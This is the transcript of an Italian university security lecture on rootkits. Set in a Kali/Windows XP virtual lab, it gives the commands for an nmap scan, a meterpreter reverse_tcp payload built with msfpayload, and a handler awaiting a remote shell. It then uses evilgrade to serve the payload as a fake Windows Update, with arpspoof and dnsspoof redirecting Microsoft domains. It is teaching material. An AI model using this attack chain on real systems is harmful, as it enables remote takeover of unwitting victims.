Rootkit. Dott. Ing. Igino Corona. Corso Sicurezza Informatica 2014/2015. igino.corona (at) diee.unica.it. Pattern Recognition and Applications Lab

Transcript

1 Pattern Recognition and Applications Lab Rootkit Dott. Ing. Igino Corona igino.corona (at) diee.unica.it Corso Sicurezza Informatica 2014/2015 Department of Electrical and Electronic Engineering University of Cagliari, Italy

2 Prerequisiti Virtual machine attaccante - kali linux vittima - windows XP 32bit Entrambe le macchine sulla stessa rete locale su virtualbox - rete con NAT 2

3 Identificazione della vittima nmap -ss /24 -p56322 Starting Nmap 6.47 ( ) at :44 CEST Nmap scan report for Host is up ( s latency). PORT STATE SERVICE 56322/tcp closed unknown MAC Address: 52:54:00:12:35:00 (QEMU Virtual NIC) Nmap scan report for Host is up ( s latency). PORT STATE SERVICE 56322/tcp closed unknown MAC Address: 52:54:00:12:35:00 (QEMU Virtual NIC) Nmap scan report for Host is up ( s latency). PORT STATE SERVICE 56322/tcp filtered unknown MAC Address: 08:00:27:C9:73:F6 (Cadmus Computer Systems) Nostro Target (Vittima) Nmap done: 256 IP addresses (5 hosts up) scanned in 2.20 seconds 3

4 Nostro indirizzo e gateway root@kali:~# ifconfig eth0 Link encap:ethernet HWaddr 08:00:27:ba:17:b4 inet addr: Bcast: Mask: inet6 addr: fe80::a00:27ff:feba:17b4/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:5752 errors:0 dropped:0 overruns:0 frame:0 TX packets:6213 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes: (4.3 MiB) TX bytes: (2.4 MiB) lo Link encap:local Loopback inet addr: Mask: inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:84 errors:0 dropped:0 overruns:0 frame:0 TX packets:84 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:11523 (11.2 KiB) TX bytes:11523 (11.2 KiB) Nostro IP (Attaccante) root@kali:~# route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface default UG eth * U eth0 Gateway 4

5 Realizzazione dell exploit Costruiamo il file eseguibile per realizzare l exploit tramite meterpreter una volta eseguito sul computer vittima, esso si connetterà verso il nostro host all indirizzo IP: , alla porta TCP 3333 root@kali:~# msfpayload windows/meterpreter/reverse_tcp lhost= lport=3333 X > /root/exploit.exe [!] ************************************************************************ [!] * The utility msfpayload is deprecated! * [!] * It will be removed on or about * [!] * Please use msfvenom instead * [!] * Details: * [!] ************************************************************************ Created by msfpayload ( Payload: windows/meterpreter/reverse_tcp Length: 281 Options: {"LHOST"=>" ", "LPORT"=>"3333"} root@kali:~# file /root/exploit.exe /root/exploit.exe: PE32 executable (GUI) Intel 80386, for MS Windows Ci mettiamo in ascolto sulla porta TCP 3333 in attesa di connessione da parte della vittima per ottenere una shell remota root@kali:~# msfconsole -q msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost lhost => msf exploit(handler) > set lport 3333 lport => 3333 msf exploit(handler) > run [*] Started reverse handler on :3333 [*] Starting the payload handler... 5

6 Social Engineering- windows update Dobbiamo trovare un modo per far eseguire il file /root/exploit.exe sul computer vittima mettiamo su un sito fasullo per windows update! evilgrade evilgrade>show modules evilgrade>configure winupdate evilgrade(winupdate)>show options Display options: =============== Name = Windows Update Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ infobytesec.com>"] Description = "" VirtualHost = "(windowsupdate.microsoft.com update.microsoft.com go.microsoft.com)" Name Default Description enable 1 Status familyid ad724ae0-e72d-4f54-9ab3-75b8eb It's the microsoft familyid from download center default (Removal tool) agent./agent/agent.exe Agent to inject ' ' evilgrade(winupdate)>set agent /root/exploit.exe set agent, /root/exploit.exe evilgrade(winupdate)>start evilgrade(winupdate)> [21/4/2015:10:30:28] - [DNSSERVER] - DNS Server Ready. Waiting for Connections... Evilgrade mette su un sito web fasullo di windows update che restituirà il file exploit.exe (rinominandolo) lo spaccerà per un aggiornamento importante per windows. 6

7 ARP Spoofing Ci siamo quasi ora dobbiamo fare in modo che qualsiasi connessione verso nomi di dominio *.microsoft.com da parte della vittima venga dirottate verso il nostro indirizzo IP , dove sta in ascolto il servizio windows update fasullo messo su da evilgrade l host vittima e sulla nostra stessa rete locale posso usare arp spoofing e DNS hijacking (vedi lezione su sicurezza utenti web)! Inoltro pacchetti automatico: root@kali:~# sysctl -w net.ipv4.ip_forward=1 net.ipv4.ip_forward = 1 root@kali:~# iptables -I FORWARD 1 -j ACCEPT arp spoofing (aprite una shell separata per ciascun comando) root@kali:~# arpspoof -i eth0 -t root@kali:~# arpspoof -i eth0 -t DNS hijacking (su un altra shell ancora) root@kali:~# echo *.microsoft.com > ftable root@kali:~# dnsspoof -i eth0 -f ftable 7

8 Host Vittima - esecuzione update Nel nostro test usiamo un computer con windows XP (32bit) e Internet Explorer 8 8